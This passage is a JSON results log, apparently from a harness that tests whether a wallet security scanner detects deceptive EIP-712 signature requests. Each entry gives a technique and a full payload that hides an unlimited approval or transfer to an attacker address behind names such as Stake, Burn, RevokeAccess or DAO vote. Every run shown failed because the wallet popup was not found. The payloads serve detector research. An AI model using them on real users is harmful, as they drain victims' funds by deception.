"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:25:22.823Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:25:32.389Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:25:41.950Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:25:51.513Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:26:01.075Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:26:10.641Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:26:20.201Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:26:29.768Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:26:39.321Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:26:48.889Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:26:58.440Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:27:08.007Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:27:17.564Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:27:27.129Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:27:36.685Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN63-EIP3009-022", "timestamp": "2026-01-31T19:27:46.255Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe4d5bc940ca99c396f200f93cde8f1a95ff775f69f724309361ac35c11918f75\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN63-EIP3009-054", "timestamp": "2026-01-31T19:27:55.809Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x664fa9a94ffa81e392e482f590b8c1a75bbbfd2ab60bd2af66f86cd6d626da55\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:28:05.380Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:28:14.935Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 